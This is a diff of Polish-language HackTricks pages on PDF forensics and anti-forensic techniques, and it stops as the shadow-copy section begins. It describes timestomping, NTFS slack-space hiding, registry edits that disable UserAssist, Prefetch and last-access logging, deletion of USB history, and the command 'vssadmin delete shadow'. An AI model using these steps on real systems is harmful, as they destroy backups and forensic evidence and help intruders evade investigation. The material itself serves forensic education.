||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,54 @@
|
|||
# Analiza pliku PDF
|
||||
# Analiza plików PDF
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Aby uzyskać dalsze szczegóły, sprawdź:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
**Aby uzyskać więcej szczegółów, sprawdź:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Format PDF jest znany złożoności i potencjału ukrywania danych, co czyni go punktem centralnym wyzwań z zakresu forensyki CTF. Łączy on elementy tekstu z obiektami binarnymi, które mogą być skompresowane lub zaszyfrowane, a także może zawierać skrypty w językach takich jak JavaScript lub Flash. Aby zrozumieć strukturę pliku PDF, można odnieść się do materiałów wstępnych Didiera Stevensa [tutaj](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) lub skorzystać z narzędzi takich jak edytor tekstu lub edytor specyficzny dla plików PDF, takich jak Origami.
|
||||
Format PDF jest znany ze swojej złożoności i potencjału do ukrywania danych, co czyni go punktem centralnym dla wyzwań w zakresie forensyki CTF. Łączy elementy tekstowe z obiektami binarnymi, które mogą być skompresowane lub zaszyfrowane, i mogą zawierać skrypty w językach takich jak JavaScript lub Flash. Aby zrozumieć strukturę PDF, można odwołać się do materiałów wprowadzających Didiera Stevensa [tutaj](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), lub użyć narzędzi takich jak edytor tekstu lub edytor specyficzny dla PDF, taki jak Origami.
|
||||
|
||||
Do dogłębnego badania lub manipulacji plików PDF dostępne są narzędzia takie jak [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Ukryte dane w plikach PDF mogą być ukryte w:
|
||||
Do dogłębnej eksploracji lub manipulacji plikami PDF dostępne są narzędzia takie jak [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Ukryte dane w plikach PDF mogą być ukryte w:
|
||||
|
||||
* Niewidocznych warstwach
|
||||
* Formacie metadanych XMP firmy Adobe
|
||||
* Generacjach inkrementalnych
|
||||
* Tekście o tym samym kolorze co tło
|
||||
* Tekście za obrazami lub nakładających się na obrazy
|
||||
* Komentarzach niewyświetlanych
|
||||
* Formacie metadanych XMP od Adobe
|
||||
* Inkrementalnych generacjach
|
||||
* Tekście w tym samym kolorze co tło
|
||||
* Tekście za obrazami lub nakładających się obrazach
|
||||
* Niewyświetlanych komentarzach
|
||||
|
||||
Do niestandardowej analizy plików PDF można użyć bibliotek Pythona, takich jak [PeepDF](https://github.com/jesparza/peepdf), aby tworzyć spersonalizowane skrypty analizy. Ponadto potencjał plików PDF do przechowywania ukrytych danych jest tak duży, że zasoby takie jak przewodnik NSA dotyczący ryzyka i środków zaradczych w plikach PDF, chociaż nie jest już hostowany na swojej pierwotnej lokalizacji, nadal oferują cenne spostrzeżenia. [Kopia przewodnika](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) oraz zbiór [sztuczek formatu PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) autorstwa Ange Albertini mogą zapewnić dodatkową lekturę na ten temat.
|
||||
Do niestandardowej analizy PDF można użyć bibliotek Pythona, takich jak [PeepDF](https://github.com/jesparza/peepdf), aby stworzyć własne skrypty do analizy. Ponadto potencjał PDF do przechowywania ukrytych danych jest tak ogromny, że zasoby takie jak przewodnik NSA dotyczący ryzyk i środków zaradczych związanych z PDF, chociaż już niehostowany w pierwotnej lokalizacji, nadal oferują cenne informacje. [Kopia przewodnika](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) oraz zbiór [sztuczek formatu PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) autorstwa Ange Albertini mogą dostarczyć dalszej lektury na ten temat.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,49 +1,50 @@
|
|||
# Techniki antyforensyczne
|
||||
# Techniki Antyforensyczne
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Znaczniki czasu
|
||||
## Znaczniki Czasu
|
||||
|
||||
Atakujący może być zainteresowany **zmianą znaczników czasu plików**, aby uniknąć wykrycia.\
|
||||
Możliwe jest znalezienie znaczników czasu w atrybutach MFT `$STANDARD_INFORMATION` i `$FILE_NAME`.
|
||||
Możliwe jest znalezienie znaczników czasu w MFT w atrybutach `$STANDARD_INFORMATION` \_\_ i \_\_ `$FILE_NAME`.
|
||||
|
||||
Oba atrybuty mają 4 znaczniki czasu: **Modyfikację**, **dostęp**, **tworzenie** i **modyfikację rejestru MFT** (MACE lub MACB).
|
||||
Oba atrybuty mają 4 znaczniki czasu: **Modyfikacja**, **dostęp**, **tworzenie** i **modyfikacja rejestru MFT** (MACE lub MACB).
|
||||
|
||||
**Eksplorator Windows** i inne narzędzia pokazują informacje z **`$STANDARD_INFORMATION`**.
|
||||
|
||||
### TimeStomp - Narzędzie antyforensyczne
|
||||
### TimeStomp - Narzędzie Antyforensyczne
|
||||
|
||||
To narzędzie **modyfikuje** informacje o znacznikach czasu wewnątrz **`$STANDARD_INFORMATION`** **ale** **nie** informacje wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**.
|
||||
To narzędzie **modyfikuje** informacje o znaczniku czasu wewnątrz **`$STANDARD_INFORMATION`**, **ale** **nie** modyfikuje informacji wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**.
|
||||
|
||||
### Usnjrnl
|
||||
|
||||
**Dziennik USN** (Update Sequence Number Journal) to funkcja systemu plików NTFS (system plików Windows NT), która śledzi zmiany woluminu. Narzędzie [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) umożliwia analizę tych zmian.
|
||||
**Dziennik USN** (Dziennik Numeru Sekwencyjnego Aktualizacji) to funkcja NTFS (system plików Windows NT), która śledzi zmiany w woluminie. Narzędzie [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) umożliwia badanie tych zmian.
|
||||
|
||||
![](<../../.gitbook/assets/image (801).png>)
|
||||
|
||||
Poprzednie zdjęcie to **wyjście** pokazane przez **narzędzie**, gdzie można zauważyć, że dokonano pewnych **zmian w pliku**.
|
||||
Poprzedni obrazek to **wyjście** pokazane przez **narzędzie**, gdzie można zaobserwować, że **wprowadzono pewne zmiany** w pliku.
|
||||
|
||||
### $LogFile
|
||||
|
||||
**Wszystkie zmiany metadanych w systemie plików są rejestrowane** w procesie znanym jako [logowanie zapisów wstecznych](https://en.wikipedia.org/wiki/Write-ahead\_logging). Zarejestrowane metadane są przechowywane w pliku o nazwie `**$LogFile**`, znajdującym się w katalogu głównym systemu plików NTFS. Narzędzia takie jak [LogFileParser](https://github.com/jschicht/LogFileParser) można użyć do analizy tego pliku i zidentyfikowania zmian.
|
||||
**Wszystkie zmiany metadanych w systemie plików są rejestrowane** w procesie znanym jako [logowanie przed zapisaniem](https://en.wikipedia.org/wiki/Write-ahead_logging). Zarejestrowane metadane są przechowywane w pliku o nazwie `**$LogFile**`, znajdującym się w katalogu głównym systemu plików NTFS. Narzędzia takie jak [LogFileParser](https://github.com/jschicht/LogFileParser) mogą być używane do analizy tego pliku i identyfikacji zmian.
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
Ponownie, w wyniku działania narzędzia można zobaczyć, że **dokonano pewnych zmian**.
|
||||
Ponownie, w wyjściu narzędzia można zobaczyć, że **wprowadzono pewne zmiany**.
|
||||
|
||||
Za pomocą tego samego narzędzia można zidentyfikować **kiedy zostały zmodyfikowane znaczniki czasu**:
|
||||
Używając tego samego narzędzia, można zidentyfikować, **do którego czasu zmieniono znaczniki czasu**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1089).png>)
|
||||
|
||||
|
@ -54,109 +55,125 @@ Za pomocą tego samego narzędzia można zidentyfikować **kiedy zostały zmodyf
|
|||
|
||||
### Porównanie `$STANDARD_INFORMATION` i `$FILE_NAME`
|
||||
|
||||
Innym sposobem identyfikacji podejrzanych zmodyfikowanych plików byłoby porównanie czasu w obu atrybutach w poszukiwaniu **niezgodności**.
|
||||
Innym sposobem na zidentyfikowanie podejrzanych zmodyfikowanych plików byłoby porównanie czasu w obu atrybutach w poszukiwaniu **rozbieżności**.
|
||||
|
||||
### Nanosekundy
|
||||
|
||||
Znaczniki czasu **NTFS** mają **precyzję** **100 nanosekund**. Znalezienie plików z znacznikami czasu w stylu 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**.
|
||||
**Znaczniki czasu NTFS** mają **precyzję** **100 nanosekund**. Dlatego znalezienie plików z znacznikami czasu takimi jak 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**.
|
||||
|
||||
### SetMace - Narzędzie antyforensyczne
|
||||
### SetMace - Narzędzie Antyforensyczne
|
||||
|
||||
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednakże, od Windows Vista, konieczne jest posiadanie działającego systemu operacyjnego na żywo do modyfikacji tych informacji.
|
||||
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednak od Windows Vista, konieczne jest, aby system operacyjny był uruchomiony, aby zmodyfikować te informacje.
|
||||
|
||||
## Ukrywanie danych
|
||||
## Ukrywanie Danych
|
||||
|
||||
NTFS używa klastra i minimalnego rozmiaru informacji. Oznacza to, że jeśli plik zajmuje jeden klaster i pół, **pozostała połowa nigdy nie zostanie użyta** do momentu usunięcia pliku. Dlatego możliwe jest **ukrycie danych w tej przestrzeni luzem**.
|
||||
NFTS używa klastra i minimalnego rozmiaru informacji. Oznacza to, że jeśli plik zajmuje i używa klastra i pół, **pozostała połowa nigdy nie będzie używana** aż do usunięcia pliku. Wtedy możliwe jest **ukrycie danych w tej przestrzeni slack**.
|
||||
|
||||
Istnieją narzędzia takie jak slacker, które pozwalają na ukrywanie danych w tej "ukrytej" przestrzeni. Jednak analiza `$logfile` i `$usnjrnl` może pokazać, że dodano pewne dane:
|
||||
|
||||
![](<../../.gitbook/assets/image (1060).png>)
|
||||
|
||||
Następnie możliwe jest odzyskanie przestrzeni luzem za pomocą narzędzi takich jak FTK Imager. Należy zauważyć, że tego rodzaju narzędzie może zapisać zawartość zasłoniętą lub nawet zaszyfrowaną.
|
||||
Wtedy możliwe jest odzyskanie przestrzeni slack za pomocą narzędzi takich jak FTK Imager. Zauważ, że tego rodzaju narzędzie może zapisać zawartość w sposób zniekształcony lub nawet zaszyfrowany.
|
||||
|
||||
## UsbKill
|
||||
|
||||
To narzędzie **wyłączy komputer, jeśli wykryta zostanie jakakolwiek zmiana w portach USB**.\
|
||||
Sposobem na odkrycie tego byłoby sprawdzenie działających procesów i **przejrzenie każdego skryptu pythona działającego**.
|
||||
To narzędzie, które **wyłączy komputer, jeśli wykryje jakiekolwiek zmiany w portach USB**.\
|
||||
Sposobem na odkrycie tego byłoby sprawdzenie uruchomionych procesów i **przejrzenie każdego uruchomionego skryptu python**.
|
||||
|
||||
## Dystrybucje Live Linux
|
||||
|
||||
Te dystrybucje są **wykonywane w pamięci RAM**. Jedynym sposobem na ich wykrycie jest **w przypadku, gdy system plików NTFS jest zamontowany z uprawnieniami do zapisu**. Jeśli jest zamontowany tylko z uprawnieniami do odczytu, nie będzie możliwe wykrycie intruzji.
|
||||
Te dystrybucje są **uruchamiane w pamięci RAM**. Jedynym sposobem na ich wykrycie jest **jeśli system plików NTFS jest zamontowany z uprawnieniami do zapisu**. Jeśli jest zamontowany tylko z uprawnieniami do odczytu, nie będzie możliwe wykrycie intruzji.
|
||||
|
||||
## Bezpieczne usuwanie
|
||||
## Bezpieczne Usuwanie
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
## Konfiguracja Windows
|
||||
|
||||
Możliwe jest wyłączenie kilku metod logowania w systemie Windows, aby utrudnić dochodzenie antyforensyczne.
|
||||
Możliwe jest wyłączenie kilku metod logowania w Windows, aby znacznie utrudnić dochodzenie forensyczne.
|
||||
|
||||
### Wyłączenie znaczników czasu - UserAssist
|
||||
### Wyłącz Znaczniki Czasu - UserAssist
|
||||
|
||||
To klucz rejestru przechowuje daty i godziny, kiedy każde wykonywalne było uruchamiane przez użytkownika.
|
||||
To klucz rejestru, który przechowuje daty i godziny, kiedy każdy plik wykonywalny był uruchamiany przez użytkownika.
|
||||
|
||||
Wyłączenie UserAssist wymaga dwóch kroków:
|
||||
|
||||
1. Ustawienie dwóch kluczy rejestru, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na zero, aby sygnalizować, że chcemy wyłączyć UserAssist.
|
||||
2. Wyczyść gałęzie rejestru, które wyglądają jak `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
2. Wyczyść swoje poddrzewa rejestru, które wyglądają jak `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
### Wyłączenie znaczników czasu - Prefetch
|
||||
### Wyłącz Znaczniki Czasu - Prefetch
|
||||
|
||||
To zapisuje informacje o aplikacjach uruchomionych w celu poprawy wydajności systemu Windows. Jednakże może to być również przydatne w praktykach antyforensycznych.
|
||||
To zapisze informacje o aplikacjach uruchamianych w celu poprawy wydajności systemu Windows. Jednak może to być również przydatne w praktykach forensycznych.
|
||||
|
||||
* Uruchom `regedit`
|
||||
* Wybierz ścieżkę pliku `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Kliknij prawym przyciskiem myszy na `EnablePrefetcher` i `EnableSuperfetch`
|
||||
* Wybierz Modyfikuj dla każdego z nich, aby zmienić wartość z 1 (lub 3) na 0
|
||||
* Zrestartuj
|
||||
* Uruchom ponownie
|
||||
|
||||
### Wyłączenie znaczników czasu - Ostatni czas dostępu
|
||||
### Wyłącz Znaczniki Czasu - Czas Ostatniego Dostępu
|
||||
|
||||
Za każdym razem, gdy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu na każdym wymienionym folderze**, zwane ostatnim czasem dostępu. Na intensywnie używanym woluminie NTFS może to wpłynąć na wydajność.
|
||||
Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu w każdym wymienionym folderze**, nazywanego czasem ostatniego dostępu. Na mocno używanym woluminie NTFS może to wpływać na wydajność.
|
||||
|
||||
1. Otwórz Edytor rejestru (Regedit.exe).
|
||||
1. Otwórz Edytor Rejestru (Regedit.exe).
|
||||
2. Przejdź do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Znajdź `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj tę wartość DWORD i ustaw jej wartość na 1, co wyłączy proces.
|
||||
4. Zamknij Edytor rejestru i zrestartuj serwer.
|
||||
### Usuń historię USB
|
||||
3. Poszukaj `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy ten proces.
|
||||
4. Zamknij Edytor Rejestru i uruchom ponownie serwer.
|
||||
|
||||
Wszystkie **wpisy urządzeń USB** są przechowywane w rejestrze systemu Windows pod kluczem rejestru **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączysz urządzenie USB do komputera lub laptopa. Możesz znaleźć ten klucz tutaj `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\
|
||||
Możesz także użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html), aby upewnić się, że je usunąłeś (i je usunąć).
|
||||
### Usuń Historię USB
|
||||
|
||||
Innym plikiem, który zapisuje informacje o urządzeniach USB, jest plik `setupapi.dev.log` wewnątrz `C:\Windows\INF`. Należy go również usunąć.
|
||||
Wszystkie **Wpisy Urządzeń USB** są przechowywane w Rejestrze Windows pod kluczem **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączasz urządzenie USB do swojego komputera lub laptopa. Możesz znaleźć ten klucz tutaj H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\
|
||||
Możesz również użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html), aby upewnić się, że je usunąłeś (i aby je usunąć).
|
||||
|
||||
### Wyłącz cienie kopii
|
||||
Innym plikiem, który zapisuje informacje o USB, jest plik `setupapi.dev.log` w `C:\Windows\INF`. Ten plik również powinien zostać usunięty.
|
||||
|
||||
**Wyświetl** cienie kopii za pomocą `vssadmin list shadowstorage`\
|
||||
### Wyłącz Kopie Cieni
|
||||
|
||||
**Wylistuj** kopie cieni za pomocą `vssadmin list shadowstorage`\
|
||||
**Usuń** je, uruchamiając `vssadmin delete shadow`
|
||||
|
||||
Możesz także je usunąć za pomocą interfejsu graficznego, postępując zgodnie z krokami zaproponowanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
Możesz również usunąć je za pomocą GUI, postępując zgodnie z krokami opisanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Aby wyłączyć cienie kopii [kroki stąd](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
Aby wyłączyć kopie cieni [kroki stąd](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
